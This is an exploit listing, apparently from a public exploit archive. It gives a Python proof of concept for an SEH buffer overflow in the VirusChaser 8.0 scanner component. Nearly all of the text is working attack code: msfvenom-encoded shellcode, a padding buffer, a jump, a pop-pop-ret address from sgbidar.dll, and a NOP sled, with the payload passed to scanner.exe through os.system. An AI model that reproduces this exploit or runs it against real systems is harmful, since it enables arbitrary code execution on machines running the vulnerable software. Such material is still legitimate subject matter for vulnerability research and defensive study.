VirusChaser 8.0 Buffer Overflow

VirusChaser version 8.0 SEH buffer overflow exploit.


MD5 | a49d7be8ab96a87009c882fc28adc47d

# Exploit Title: Virus Chaser 8.0 - Scanner component, SEH Overflow
# Date: 14 April 2017
# Exploit Author: 0x41Li (0x41Li.D@gmail.com)
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Tested on: Windows 7 (Universal)

import os
from struct import pack

## msfvenom -a x86 --platform Windows -p windows/exec cmd=calc -b '\x00\x0d\x0a\x09\x22' -f c # x86/shikata_ga_nai succeeded with size 216 ## BADCHARS = \x00\x0d\x0a\x09 AVOIDED = \x22 = " (Cut the buffer)
shellcode= ("\xbe\x7a\x1f\x2d\x97\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x30\x83\xc2\x04\x31\x72\x0f\x03\x72\x75\xfd\xd8\x6b\x61\x83"
"\x23\x94\x71\xe4\xaa\x71\x40\x24\xc8\xf2\xf2\x94\x9a\x57\xfe"
"\x5f\xce\x43\x75\x2d\xc7\x64\x3e\x98\x31\x4a\xbf\xb1\x02\xcd"
"\x43\xc8\x56\x2d\x7a\x03\xab\x2c\xbb\x7e\x46\x7c\x14\xf4\xf5"
"\x91\x11\x40\xc6\x1a\x69\x44\x4e\xfe\x39\x67\x7f\x51\x32\x3e"
"\x5f\x53\x97\x4a\xd6\x4b\xf4\x77\xa0\xe0\xce\x0c\x33\x21\x1f"
"\xec\x98\x0c\x90\x1f\xe0\x49\x16\xc0\x97\xa3\x65\x7d\xa0\x77"
"\x14\x59\x25\x6c\xbe\x2a\x9d\x48\x3f\xfe\x78\x1a\x33\x4b\x0e"
"\x44\x57\x4a\xc3\xfe\x63\xc7\xe2\xd0\xe2\x93\xc0\xf4\xaf\x40"
"\x68\xac\x15\x26\x95\xae\xf6\x97\x33\xa4\x1a\xc3\x49\xe7\x70"
"\x12\xdf\x9d\x36\x14\xdf\x9d\x66\x7d\xee\x16\xe9\xfa\xef\xfc"
"\x4e\xf4\xa5\x5d\xe6\x9d\x63\x34\xbb\xc3\x93\xe2\xff\xfd\x17"
"\x07\x7f\xfa\x08\x62\x7a\x46\x8f\x9e\xf6\xd7\x7a\xa1\xa5\xd8"
"\xae\xc2\x28\x4b\x32\x05")

junk = "A"*688
jmp ="\xeb\x0b\x41\x41" ## JMP 0B
ret = pack('<L',0x10010c81) #pop ECX #pop ESI #RET [sgbidar.dll] (magic addr)
nop = "\x90"*24
payload = junk + jmp + ret + nop + shellcode
print payload
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + payload + "\"")


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